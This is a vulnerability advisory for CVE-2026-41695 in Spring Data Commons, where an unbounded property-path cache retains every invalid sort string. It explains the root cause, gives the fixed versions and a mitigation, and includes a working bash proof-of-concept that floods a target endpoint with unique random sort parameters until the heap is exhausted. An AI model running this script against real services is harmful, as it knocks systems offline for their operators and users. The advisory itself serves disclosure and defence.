CVE-2026-41695: Spring Data Commons Unbounded Property-Path Cache DoS
Spring Data Commons permanently caches every property-path string an attacker sends, including invalid ones, with no size limit, so a loop of unique random sort parameters can exhaust the JVM heap…

The problem
PersistentPropertyPathFactory.propertyPaths (line 53) is a plain ConcurrentHashMap keyed on (TypeInformation, raw path string). Every distinct string, valid or not, is inserted via computeIfAbsent and held in strong references forever.
Unresolvable paths are cached as PathResolution.unresolved (line 204) so the same exception can be re-thrown cheaply. That design choice means every unique garbage string an attacker supplies creates a permanent map entry. There is no eviction, no size cap, and no upstream validation in the public MappingContext interface.
Downstream modules such as Spring Data REST and store-specific QueryMappers pass HTTP-request-derived sort and filter property names directly into this method.
Proof of concept
A working proof-of-concept for CVE-2026-41695 in org.springframework.data:spring-data-commons, with the exact payload below.
#!/usr/bin/env bash
# Target: any Spring Data REST endpoint backed by a Spring Data store module.
# Each request fails fast with 400/InvalidPersistentPropertyPath but leaves
# a permanent TypeAndPath + PathResolution entry in the server heap.
# Run until OOM (~10M unique values on a 512 MB heap).
BASE_URL="http://target/api/things"
for i in $(seq 1 10000000); do
RAND=$(cat /proc/sys/kernel/random/uuid | tr -d '-')
curl -sf "${BASE_URL}?sort=${RAND},asc" -o /dev/null &
# throttle fd usage
if (( i % 500 == 0 )); then wait; fi
doneEach unique ?sort= value becomes a new TypeAndPath map key inside PersistentPropertyPathFactory.propertyPaths, a ConcurrentHashMap with hard references and no bound. Failed lookups are cached too (line 204), so the attacker never needs a valid property name. The sibling SimplePropertyPath cache was already converted to ConcurrentReferenceHashMap (soft references, GC-evictable) in an earlier hardening pass, proving Spring recognises this as a bug class.
The patch (commits 96e9475 and a4f893b) replaces the unbounded ConcurrentHashMap with a fixed-capacity ConcurrentLruCache and stops caching PathResolution.unresolved results, matching the treatment already applied to the sibling cache.
The fix
Upgrade to spring-data-commons 4.0.6 (or 3.5.12 for the 3.5.x line). The fix replaces the unbounded ConcurrentHashMap in PersistentPropertyPathFactory with a bounded ConcurrentLruCache and removes caching of unresolved (failed) path lookups. If you cannot upgrade immediately, place an upstream rate-limiter or a whitelist on sort and filter parameter values before they reach MappingContext.
Related research
- high · 7.5CVE-2026-56819CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)
- high · 8.6CVE-2026-54609CVE-2026-54609: QTINeon NeonRelay Unauthenticated Amplification via Unbounded RECONNECT_REQUEST Forwarding
- critical · 9.4OpenDJ DSMLv2 Gateway Unauthenticated SSRF and Local File Read
- high · 7.5netty-codec-xml XmlFrameDecoder Denial of Service via CPU Exhaustion